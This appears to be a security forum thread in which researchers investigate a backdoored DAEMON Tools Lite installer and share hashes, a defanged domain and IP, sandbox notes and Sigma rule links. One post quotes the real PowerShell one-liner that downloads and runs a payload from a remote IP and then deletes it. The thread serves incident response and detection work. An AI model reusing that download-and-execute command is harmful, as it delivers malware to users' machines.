Hi,
A user downloaded what looks like a legitimate software(digitally signed, old domain name, etc), but the new Windows service spawned Powershell to fetch and run a payload (envcheck.exe) from an IP located in Singapore
DTLite1250-2421b.exe - 12edcaafab7703d0819b1395f45c35e3083dd83fb8b128292cb11033453fb6e8
envchk.exe a916e56121212613d17932e124b68752c9312e73bde8f2351054bd64394257df
38.180.107.76
www[.]daemon-tools[.]cc
VT definitely thinks the second one is gross.
I ran the initial file in tria.ge but never got to the second stage.
But I’d love a sample, if you’re willing to provide it.
Hi,
The installer DTLite1250-2421b.exe was still available this morning. I recall validating the hash.
htxxps://www.daemon-tools[.]cc/downloads#install-dtLite-offer
The service “C:\Program Files\DAEMON Tools Lite\DiscSoftBusServiceLite.exe” spawned Powershell roughly 13 minutes after starting for the first time. A oneliner using DownloadFile.
Right, I have the installer, but not the second file. I’ll run the sandbox for longer.
cmd.exe /c powershell -NoProfile -Command “$wc=New-Object System.Net.WebClient;$wc.DownloadFile(‘hxxp://38.180.107.76/env_check_script’,‘C:\Windows\Temp\envchk.exe’)”&&C:\Windows\Temp\envchk.exe hxxp://38.180.107.76/09505aca4f538bd&&del C:\Windows\Temp\envchk.exe
Sadly I don’t have the file, but perhaps you are lucky with the IP.
I tried urlscan.io and it returned 404, but there may be some checks like the use agent.
Hi,
Today they released a report, explaining that the supply chain attack likely originated from China.
There’s widespread infection, but they only were targeting certain countries in Eastern Europe and Asia.
GitHub PR with Sigma rules
Some additional context/reporting here. v12.6 removes the backdoor, per the maintainer.